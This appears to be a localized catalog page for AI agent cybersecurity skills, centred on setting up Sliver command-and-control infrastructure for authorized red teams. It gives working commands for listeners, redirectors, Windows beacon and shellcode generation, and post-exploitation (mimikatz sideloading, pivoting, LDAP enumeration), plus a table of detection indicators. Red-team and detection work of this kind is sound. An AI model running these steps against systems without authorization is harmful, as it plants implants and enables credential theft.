Create forensically sound bit-for-bit disk images using dd and dcfldd while preserving evidence integrity through hash verification.
日本語の概要は準備中です。原文の説明を表示しています。
Build and configure a resilient command-and-control infrastructure using BishopFox's Sliver C2 framework with redirectors, HTTPS listeners, and multi-operator support for authorized red team engagements.
インストールする前に、エージェントに与えられる指示の中身を確認できます。
Sliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP/S, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.
curl https://sliver.sh/install | sudo bash
systemctl start sliver
# Or run interactively
sliver-server
new-operator --name operator1 --lhost <team-server-ip>
https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
dns --domains c2dns.example.com --lport 53
mtls --lhost 0.0.0.0 --lport 8888
wg --lport 51820
server {
listen 443 ssl;
server_name c2.example.com;
ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
location / {
proxy_pass https://<team-server-ip>:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
generate beacon --dns c2dns.example.com --os windows --arch amd64
generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
generate beacon --http https://c2.example.com --seconds 60 --jitter 30
beacons # List active beacons
use <beacon-id> # Interact with a beacon
ps # Process listing
netstat # Network connections
execute-assembly /path/to/Seatbelt.exe -group=all # Run .NET assemblies
sideload /path/to/mimikatz.dll # Load DLLs
pivots tcp --bind 0.0.0.0:9898 # Create pivot listener on compromised host
armory install sa-ldapsearch # Install from armory
sa-ldapsearch -- "(objectClass=user)" # Execute BOF
| Tool | Purpose | Platform |
|---|---|---|
| Sliver Server | C2 team server and implant management | Linux/macOS/Windows |
| Sliver Client | Operator console for team members | Cross-platform |
| NGINX | Redirector and reverse proxy | Linux |
| Certbot | Let's Encrypt SSL certificate generation | Linux |
| Cloudflare | CDN and domain fronting | Cloud |
| Armory | Sliver extension/BOF package manager | Built-in |
| Indicator | Detection Method |
|---|---|
| Default Sliver HTTP headers | Network traffic analysis for unusual User-Agent strings |
| mTLS on non-standard ports | Firewall logs for outbound connections to unusual ports |
| DNS TXT record queries with high entropy | DNS log analysis for encoded C2 traffic |
| WireGuard UDP traffic on port 51820 | Network flow analysis for WireGuard handshake patterns |
| Sliver implant file hashes | EDR/AV signature matching against known Sliver samples |
まだレビューはありません。使ってみた感想をお寄せください。
概要と使いどころ
Create forensically sound bit-for-bit disk images using dd and dcfldd while preserving evidence integrity through hash verification.
日本語の概要は準備中です。原文の説明を表示しています。
Detect dangerous ACL misconfigurations in Active Directory using ldap3 to identify GenericAll, WriteDACL, and WriteOwner abuse paths
日本語の概要は準備中です。原文の説明を表示しています。
Perform static analysis of Android APK malware samples using apktool for decompilation, jadx for Java source recovery, and androguard for permission analysis, manifest inspection, and suspicious API call detection.
日本語の概要は準備中です。原文の説明を表示しています。
Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect BOLA/IDOR attacks, rate limit bypass, credential scanning, and injection attempts. Uses pandas for statistical analysis of request patterns and anomaly detection. Use when investigating API abuse or building API-specific threat detection rules.
日本語の概要は準備中です。原文の説明を表示しています。
Analyze advanced persistent threat (APT) group techniques using MITRE ATT&CK Navigator to create layered heatmaps of adversary TTPs for detection gap analysis and threat-informed defense.
日本語の概要は準備中です。原文の説明を表示しています。
Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query to detect suspicious administrative operations, impossible travel, privilege escalation, and resource modifications. Builds KQL queries for threat hunting in Azure environments. Use when investigating suspicious Azure tenant activity or building cloud SIEM detections.
日本語の概要は準備中です。原文の説明を表示しています。